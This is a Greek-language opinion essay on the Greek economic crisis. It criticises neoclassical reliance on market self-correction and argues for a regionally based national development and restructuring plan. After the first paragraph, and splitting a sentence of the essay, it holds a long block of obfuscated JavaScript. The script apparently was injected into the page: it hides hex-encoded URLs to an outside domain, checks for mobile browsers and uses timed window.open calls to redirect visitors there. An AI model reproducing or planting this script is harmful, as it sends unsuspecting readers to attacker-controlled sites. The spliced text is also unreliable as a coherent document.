

ΝΕΟΚΛΑΣΙΚΟΙ – ΚΕΥΝΣΙΑΝΟΙ –ΚΑΙ ΔΙΑΡΘΡΩΤΙΚΟΙ

ΤΟ ΦΑΝΤΑΣΜΑ ΤΗΣ ΑΝΑΠΤΥΞΗΣ

Τίποτα θλιβερότερο, στις μέρες μας, από το να γίνεσαι μάρτυρας, ενός ζοφερού κλίματος που αναδύεται από τα προγράμματα των τηλεοπτικών μέσων ενημέρωσης αλλά, φευ, και από μια μερίδα έγκριτων αρθρογράφων του ημερήσιου τύπου. Πλήθος καταγγελιών βλέπουν το φως της δημοσιότητας για τα κακώς κείμενα του ελληνικού κράτους, για τα στραβά, τ' ανάποδα και τα παράλογα, ρίχνοντας επαναληπτικές ριπές τότε εναντίον της κομματοκρατίας, τότε εναντίον της αντιπαραγωγικής γραφειοκρατίας, τότε εναντίον της επιχειρηματικής «λαμογιάς» και τότε κατά του μικροαστικού ατομισμού του Έλληνα. Πρωτοσέλιδα, δίστηλα, μονόστηλα ακόμα και «σαλόνια», φιλοξενούν αναλύσεις / καταγγελίες, δίκην «αποκαλύψεων», οι οποίες, υποτίθεται, πως υποδεικνύουν ένα προς ένα τα σημεία της πορείας που μας οδήγησε στον επικείμενο γκρεμό. Πολεοδομίες, εφορίες, τελωνεία, νοσοκομεία, δήμοι, επιχειρήσεις, και ό,τι άλλο υπάρχει στην ελληνική επικράτεια είναι βουτηγμένο στην αδιαφάνεια και τη διαφθορά.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
```

```

en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmTK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){((/((android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50|/ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0|0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4

```

```

5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]](*)*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21){const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);})();

```

Εμβρόντητοι οι αναγνώστες διερπώνονται: Μα καλά όλοι αυτοί οι εκ των υστέρων

προμηθείς, που ήταν όλα αυτά τα χρόνια; Αυτοί οι ίδιοι δεν ήταν τόσο καιρό σκαρφαλωμένοι στα χρυσά κάγκελα του κράτους και έχαιραν σε στάση μακάριας απόλαυσης; Αυτοί δεν ήταν εκείνοι που υμνολογούσαν την εκπληκτική κούρσα της ανάπτυξης της ελληνικής οικονομίας που έδινε πρωτόγνωρα επίπεδα στην κοινωνική ευημερία; Τελικά αυτή η σκυταλοδρομία απενοχοποίησης του εαυτού, δεν έχει finish;

Όλες οι αιτίες της κρίσης έχουν εντοπισθεί, έχουν ονομασθεί και έχουν καταγγελλεί κατά κόρον και κατ' επανάληψη. Ο,τιδήποτε προστίθεται προκαλεί καταρράκωση της ψυχολογίας. Εκείνο που παραμένει ανέπαφο σχεδόν μέχρι σήμερα, είναι το πεδίο των θεμελιωμένων στρατηγικών που θα οδηγήσουν με ασφάλεια την Ελλάδα μακριά από το σκοτεινό εφιάλτη. Αυτό το πεδίο συνιστά και το δύσκολο μέρος της υπόθεσης, γιατί απαιτεί ανεύρεση, συλλογή, ταξινόμηση και επεξεργασία στοιχείων αλλά και θεωριών, που αν, οι στρατηγικές, εφαρμοσθούν με ρεαλισμό και αποφασιστικότητα, η χώρα θα γνωρίσει νέες εποχές ανάπτυξης. Αλλά δυστυχώς έχουμε μαζευτεί όλοι πάνω από τον ημιθανή και διαπληκτιζόμαστε για τις αιτίες που τον έφεραν σ' αυτή τη κατάσταση αντί να ερευνούμε για την αποτελεσματική και επιβεβλημένη θεραπεία του.

Δεδομένου ότι οι κομματικοί μηχανισμοί και τα επιτελεία τους, αλλά δυστυχώς και η κυβερνητική πυραμίδα, δεν διαθέτουν ένα εναλλακτικό αναπτυξιακό σχέδιο, με βραχυπρόθεσμες και μακροπρόθεσμες χρηματοδοτικές εκτιμήσεις, με στόχους κατά κλάδο και τομέα, με περιεχόμενο περιφερειακής και τοπικής εξειδίκευσης, με αναδιάρθρωση των επαγγελματικών εξειδικεύσεων, με ειδικές και όχι γενικές προτάσεις για τη βελτίωση της ανταγωνιστικότητας, με ανατροπή της σχέσης εσωτερικού και εξωτερικού τομέα της εθνικής οικονομίας, και με βελτίωση της σχέσης αμοιβών – παραγωγικότητας, θα πρέπει οι ερευνητικοί φορείς, τα πανεπιστήμια, μεγαλόσχημα προσωπικοτήτων ιδρύματα και όποιοι άλλοι θεωρούν τους εαυτούς τους κατόχους της σχετικής τεχνογνωσίας, να αναλάβουν την εκπόνηση του συγκεκριμένου έργου. Και αν αυτό δεν μπορεί να γίνει με κρατικές χρηματοδοτήσεις, δεν πρέπει να ακυρωθεί αλλά να επιχειρηθεί με ιδιωτικές χρηματοδοτήσεις. Γιατί ενώ οι επιχειρήσεις, οι τράπεζες, οι πολυεθνικές και ό,τι άλλο θεωρείται «η ραχοκοκαλιά αυτού του συστήματος» είναι ο κύριος ωφελημένος από την πορεία μεγέθυνσης που επιτεύχθηκε μέσω του υπερδανεισμού και υπέρ καταναλωτισμού, τα τελευταία δέκα πέντε χρόνια, ωστόσο δεν φαίνεται πως πρωτοστατεί στην εκπόνηση και αποδοχή ενός εθνικού αναπτυξιακού προγράμματος διαρθρωτικής προσαρμογής, που στο κάτω κάτω θα ωφελήσει πρώτα αυτό το ίδιο.

Αντίθετα πολλοί διαπιστώνουν την ανάγκη σχεδίασης, όπως ο διευθύνων σύμβουλος της

F

G

EUROBANK

, σε πρόσφατη ομιλία του στη Κύπρο, αλλά μόνο διαπιστώνουν.

Στην ουσία όμως δεν φαίνεται να υπάρχει ουσιαστική βούληση για την ανάληψη σοβαρής πρωτοβουλίας κάλυψης του ελλείμματος τεχνογνωσίας.

Γιατί; Γιατί απλούστατα μια πολιτική θέση κρύβεται πίσω από αυτή την απροθυμία: Δεν χρειάζεται κανένα είδος προγραμματικού σχεδίου το οποίο θα κατευθύνει τους πόρους της οικονομίας γιατί έτσι θα υπονομευθούν οι κανόνες και οι λειτουργίες της ελεύθερης αγοράς. Οι ίδιοι οι διανεμητικοί και αναδιανεμητικοί μηχανισμοί της αγοράς μπορούν να δημιουργήσουν τις προϋποθέσεις και να πυροδοτήσουν διαδικασίες ανάπτυξης. Δεν χρειάζεται η κρατική παρεμβατικότητα ούτε και ενδείκνυται ο αναπτυξιακός προγραμματισμός. Θα πρέπει να αφήσουμε, ισχυρίζεται η θέση αυτή, τους αυτόματους σταθεροποιητές, να δράσουν και να επαναφέρουν την οικονομία σε κατάσταση ισορροπίας. Μάλιστα, όπως ακούσαμε από τον ίδιο τον διοικητή της Τράπεζας της Ελλάδας σε πρόσφατη τηλεοπτική συνέντευξη, η μείωση του δημοσιονομικού ελλείμματος αυτόματα θα πυροδοτήσει τους κινητήρες ανάπτυξης. Η αγορά λοιπόν έχει την ενδογενή ικανότητα να αυτορυθμίζεται. Ωραία σύγχρονη νεοκλασική επιχειρηματολογία της δεκαετίας του '70!

Εστω ότι θεωρούμε τη θέση αυτή των νεοκλασικών σωστή. Πως μπορεί όμως να απεικονίσει την πραγματικότητα, όπως φιλοδοξεί, όταν δεν παίρνει υπ' όψιν της: πρώτον, ότι η ελληνική αγορά δεν διαθέτει αυτοτελείς μηχανισμούς καθορισμού και επανακαθορισμού των οικονομικών ισορροπιών, δεύτερον, ότι η κρατική δαπάνη είναι αυτή που διατηρεί ακμαία ή όχι την αγορά, ανάλογα με το ύψος της, και τρίτον, ότι η ελληνική αγορά είναι χειραγωγημένη από την υπέρ κρατική αυθαιρεσία. Αλλωστ
ε και οι ίδιοι φαίνεται πως αναγνωρίζουν τις παρά πάνω αλήθειες γιατί επιζητούν μετ' επιτάσεως την απελευθέρωση των αγορών μέσω των διρθρωτικών μεταρρυθμίσεων κάτι που στην ουσία συνιστά έμμεση ομολογία ότι οι αυτόματοι σταθεροποιητές δεν μπορούν να λειτουργήσουν. Εδώ δεν πρόκειται για μια νομοτελή και αυτοτελή αγορά, όπως συμβαίνει αλλού, αλλά μάλλον πρόκειται για ένα είδος κρατικής αγοράς που δεν ανακατανέμει κατά βέλτιστο τρόπο τους πόρους αλλά τους σπαταλά και τους συγκεντρώνει.

Η δυναμική των πραγμάτων λοιπόν, επιβάλλει την εκπόνηση ενός, ποιοτικά και ποσοτικά, νέου παραγωγικού προτύπου, το οποίο θα στηρίζεται, βραχυπρόθεσμα, στα διαθέσιμα συγκριτικά πλεονεκτήματα της χώρας, και μακροπρόθεσμα, στα ανταγωνιστικά που θα προκύψουν από την βελτίωση των δεξιοτήτων του ανθρώπινου δυναμικού και του αποθέματος κεφαλαίου.

Παρ' όλα αυτά, η συστημική κρίση που βιώνουμε σήμερα οι Έλληνες, θα πρέπει να αντιμετωπιστεί ενεργητικά με την κινητοποίηση των ζωντανών παραγωγικών δυνάμεων της οικονομίας και της κοινωνίας των πολιτών και όχι παθητικά, με απαισιοδοξία, που αδρανοποιεί τα κοινωνικά αντανεκλαστικά. Δυστυχώς στη δεύτερη αυτή κατεύθυνση κατατείνει ο ακατάσχετος αγοραίος «λόγος» των mass media, αυξάνοντας περισσότερο τη σύγχυση.

Δεν είναι πάντα εύκολο αλλά μέσα από το βουητό, μπορούμε να διακρίνουμε το σχηματισμό τριών απόψεων για το μείζων θέμα της ανάπτυξης. Η πρώτη άποψη είναι αυτή που θεωρεί ότι η δημοσιονομική εξυγίανση και προσαρμογή θα προκαλέσει την αυτόματη δράση των μηχανισμών ανάπτυξης των παραγωγικών και καταναλωτικών δραστηριοτήτων, αυξάνοντας το ΑΕΠ. Είναι το είδος της νεοκλασικής αυτοματικής ανάπτυξης, που ωστόσο έχει να εμφανιστεί από την Μεγάλη κρίση του 1932. Η δεύτερη άποψη που «σέρνεται» εδώ και κει, είναι αυτή που προτρέπει την κυβέρνηση να αυξήσει αδιακρίτως τις επιδοματικές ενισχύσεις προς επιχειρήσεις που πλήττονται από τη κρίση, ή να μειώσει τη φορολογία τους. Αυτή η άποψη συγκρούεται με τη πρώτη γιατί έτσι δεν θα επέλθει η δημοσιονομική εξυγίανση και τα ελλείμματα αντί να μειωθούν θα αυξηθούν. Είναι το είδος της καταναλωτικής ανάπτυξης που οδήγησε στη κρίση. Η τρίτη άποψη για την ανάπτυξη, θέλει την κυβέρνηση να δράσει ώστε να εξαλειφθούν τα εμπόδια που αποθαρρύνουν την εισροή ξένων επενδυτικών κεφαλαίων, ενώ ταυτόχρονα να συνεχίσει την πολιτική της εξυγίανσης των δημοσιονομικών παθογενειών.

Παρ' ότι και οι τρεις απόψεις εμφανίζουν ψήγματα προσωρινής ορθότητας, έχει αποδειχθεί πως δεν μπορούν να δώσουν λύση στο πρόβλημα μακροπρόθεσμα. Και τούτο γιατί αναγορεύουν το Κράτος σε κύριο μοχλό των αναπτυξιακών πρωτοβουλιών ενώ είναι ακριβώς αυτό που για δεκαετίες με τη δράση του, ανέμελα και ανεύθυνα, προκάλεσε τον τυφώνα της σημερινής κρίσης. Με άλλα λόγια, αφήνουν απ' έξω τις παραγωγικές δυνάμεις της χώρας και τη κοινωνία των πολιτών. Ενώ το Κράτος είναι ο μεγάλος ασθενής της ελληνικής κοινωνίας, καλείται, απ' την άλλη, να λάβει πρωτοβουλίες για την ανάκαμψη. Μιλώντας ήπια, δεν είναι λίγο αταίριαστο για να μη πω παράλογο;

Έλλειμμα τεχνογνωσίας;

Οι παραγωγικές δυνάμεις της εργασίας και του κεφαλαίου, που βρίσκονται, γιατί μένουν έξω από την αναγκαιότητα λήψης πρωτοβουλιών εκπόνησης εθνικού αναπτυξιακού σχεδίου; Οι θεσμικές αρθρώσεις της κοινωνίας των πολιτών, (ερευνητικά κέντρα, think tank, επιστημονικά ιδρύματα, επιμελητήρια, επαγγελματικές ενώσεις, πανεπιστήμια, μελετητικά κέντρα ομίλων) που βρίσκονται αυτή τη κρίσιμη ώρα; Φανταστείτε πόσο διαφορετικά θα ήταν τα πράγματα αν οι Ελληνικές τράπεζες για παράδειγμα, είχαν εκπονήσει ανάλογα σχέδια και κατόπιν τα έθεταν σε διαβούλευση, προκειμένου τα πορίσματα να προωθούνταν για κυβερνητική υλοποίηση. Αν οι τριτοβάθμιες οργανώσεις της εργασίας και του κεφαλαίου έπρατταν το ίδιο, ξεπερνώντας προς στιγμήν τον διεκδικητικό τους ρόλο για βελτίωση εισοδήματος.

Το έλλειμμα τεχνογνωσίας για «ανάπτυξη με αναδιάρθρωση», είναι επείγον και οφείλει να καλυφθεί από τη θεσμική άρθρωση της κοινωνίας και όχι από το Κράτος με τις υποδιαιρέσεις του ή ακόμα χειρότερο από ξένους ειδικούς ή την λεγόμενη τρόικα. Και δεν αναφέρομαι στις αποσπασματικές προτάσεις που «πέφτουν» συχνά – πυκνά, για αξιοποίηση της δημόσιας περιουσίας, για μείωση των δαπανών ή για την πάταξη της σπατάλης. Όλα αυτά, όταν δεν είναι ενσωματωμένα σε ένα στρατηγικό πλαίσιο αναφοράς, όταν δεν εξυπηρετούν αναπτυξιακούς στόχους αλλά μόνο πρόσκαιρα ταμειακούς, είναι βέβαιο πως μπορεί να αναβάλλουν την κατάρρευση αλλά δεν θα την αποφύγουν.

Η ανάπτυξη με αναδιάρθρωση, είναι στρατηγική αναπροσδιορισμού των κλαδικών και τομεακών σχέσεων του οικονομικού συνόλου τόσο μεταξύ τους όσο και με τη διεθνή οικονομία. Οι κλάδοι και οι τομείς της οικονομίας αναπτύσσουν σχέσεις εισροών – εκροών, που διαμορφώνουν ένα σφικτό πλέγμα αλληλεξάρτησης, αποδοτικότητας και ανταγωνιστικότητας, ικανό να ανταποκριθεί στις προκλήσεις της διεθνούς οικονομίας. Στην Ελλάδα αυτό το διακλαδικό, διατομεακό πλέγμα δεν υπάρχει. Έχει προ πολλού διαλυθεί. Απομονωμένοι κλάδοι ή επιχειρήσεις, τότε με υπερδανεισμό, τότε με έξοδο προς τις ξένες αγορές, προσπαθούν απεγνωσμένα, να διασώσουν τους ισολογισμούς τους και αν είναι δυνατόν και τις κερδοφορίες τους.

Η ανάπτυξη με αναδιάρθρωση, είναι ο επανακαθορισμός των σχέσεων μεταξύ των περιφερειών μιας χώρας. Γιατί οι πόροι μιας οικονομίας, ανθρωπίνοι, κεφαλαιακοί, φυσικοί, είναι κατανεμημένοι γεωγραφικά και χωρικά. Η εκμετάλλευση τους συνεπώς, απαιτεί παραγωγική και επενδυτική δράση κατά τόπους, ώστε να δημιουργούνται ευκρινείς τοπικές / περιφερειακές εξειδικεύσεις παραγωγής, τα προϊόντα των οποίων ανταλλάσσονται μεταξύ τους, δημιουργώντας ένα ισχυρό πλέγμα διαπεριφερειακής αλληλεξάρτησης. Επαγωγικά, πάνω στη διαπεριφερειακή βάση στηρίζεται και η ισχύς της εθνικής οικονομίας.

Στη Ελλάδα, η διαπεριφερειακή αλληλεξάρτηση, όπως και η διακλαδική, είναι ανίσχυρη έως ανύπαρκτη. Πολλές περιφέρειες της χώρας από τη σκοπιά της οικονομικής αποδοτικότητας, είναι σχεδόν αόρατες. Πέντε περιφέρειες από τις δεκατρείς, είναι οι φτωχότερες από τις υπάρχουσες στην Ε. Ένωση. Πάνω από το μισό του εργατικού δυναμικού είναι κάτοχοι «τίτλου» πρωτοβάθμιας εκπαίδευσης και ένα οκτώ τοις εκατό περίπου του πληθυσμού είναι αναλφάβητο. Η απόλυτη κυριαρχία ενός κέντρου και ενός υποκέντρου, όχι μόνο είναι χαρακτηριστικά οικονομικής χωροθέτησης χωρών όπως η Κένυα, η Νιγηρία ή το Μεξικό, όχι μόνο απαξιώνουν τις υπαρκτές προϋποθέσεις μιας οικονομίας, αλλά και η «ανάπτυξη» αυτών των κεντρικών συσπειρώσεων, είναι χαώδης, απάνθρωπη και αντιπαραγωγική. Δημιουργούν το φαινόμενο του υπέρ κρατισμού και καταστρέφουν το κοινωνικό και πολιτισμικό κεφάλαιο. Καταστρέφουν τις ανθρώπινες σχέσεις και τα διαπροσωπικά δίκτυα, τη δημόσια υγεία, τους θεσμούς και το περιβάλλον, με αποτέλεσμα να αυξάνεται τερατωδώς το κοινωνικό κόστος και το κόστος των οικονομικών συναλλαγών. Αυτού του είδους η οικονομική «ανάπτυξη» επιπρόσθετα καταστρέφει και την κοινωνική ευημερία.

Αναμφισβήτητα, αυτές οι δομικές οικονομικές παθογένειες στην ελληνική κοινωνία είναι που πρέπει να αλλάξουν, αν θα θέλαμε να αντιμετωπίσουμε τη κρίση. Φυσικά δεν είναι εύκολο, φυσικά έχουμε αργήσει, φυσικά θα πάρουν χρόνο, αλλά πρέπει οι Έλληνες να το αποφασίσουμε.

Ο «Καλλικράτης» είναι ένα πρώτο βήμα, δειλό αλλά πρώτο. Δυστυχώς οι συνθήκες κρίσης δεν ευνοούν τη πλήρη εφαρμογή του. Αποκεντρώνει λειτουργίες και ευθύνες στις περιφέρειες αλλά δυστυχώς το περιφερειακό δυναμικό δεν είναι έτοιμο να ανταποκριθεί. Δεν υπάρχουν οι κατάλληλοι οικονομικοί θεσμοί στην περιφέρεια ώστε να αξιοποιηθεί το λανθάνον αναπτυξιακό φορτίο. Και χωρίς θεσμούς και τεχνογνωσία, οι άνθρωποι δεν μπορούν να λειτουργήσουν. Όπως και οι θεσμοί χωρίς τους ενημερωμένους ανθρώπους.

Ένα σχέδιο ανάπτυξης με αναδιάρθρωση, οφείλει να υπονομεύσει τον υπέρ διογκωμένο οικονομικό ρόλο της Αττικής. Οφείλει να επαναφέρει τη διάταξη της περιφερειακής συμμετρίας και της αναλογικής συμμετοχής στη παραγωγή του Εθνικού προϊόντος. Υπάρχουν φυσικοί πόροι σε πολλές περιφέρειες της χώρας που παραμένουν ανεκμετάλλευτοι λόγω έλλειψης σχεδίου, τεχνογνωσίας και επιστημονικού δυναμικού. Για παράδειγμα στη περιφέρεια Αν. Μακεδονίας και Θράκης, μεγάλα γεωθερμικά πεδία αλλά και κοιτάσματα πετρελαίου, παραμένουν αδρανή, χωρίς αξιοποίηση, όπως και στη περιφέρεια των Ιόνιων Νησιών. Οι απέραντες εκτάσεις της Θεσσαλίας θα μπορούσαν να εξειδικευθούν σε νέες καλλιέργειες βιοδιατροφής και βιομηχανικών φυτών. Τα μαύρα μούρα αποτελούν ένα άλλο παράδειγμα, η ζήτηση των οποίων παγκοσμίως βρίσκεται σε πολύ υψηλά επίπεδα, λόγω της θρεπτικής τους αξίας αφ' ενός αλλά και των εφαρμογών στη κοσμετολογία. Ήδη στη Νότιο Κορέα, θεωρείται καλλιέργεια αιχμής αυτή τη περίοδο. Για να αποκτήσει όμως οικονομική και παραγωγική εξειδίκευση μια περιφέρεια απαιτείται, έρευνα, μελέτη και αναπτυξιακός σχεδιασμός. Απαιτείται κατάλληλο θεσμικό πλέγμα ενίσχυσης και προβολής των περιφερειακών ταυτοτήτων όχι μόνο σε εθνικό αλλά και παγκόσμιο επίπεδο. Ζώνες ελεύθερου εμπορίου, διασυνοριακή συνεργασία, τεχνολογικά πάρκα, κλπ.

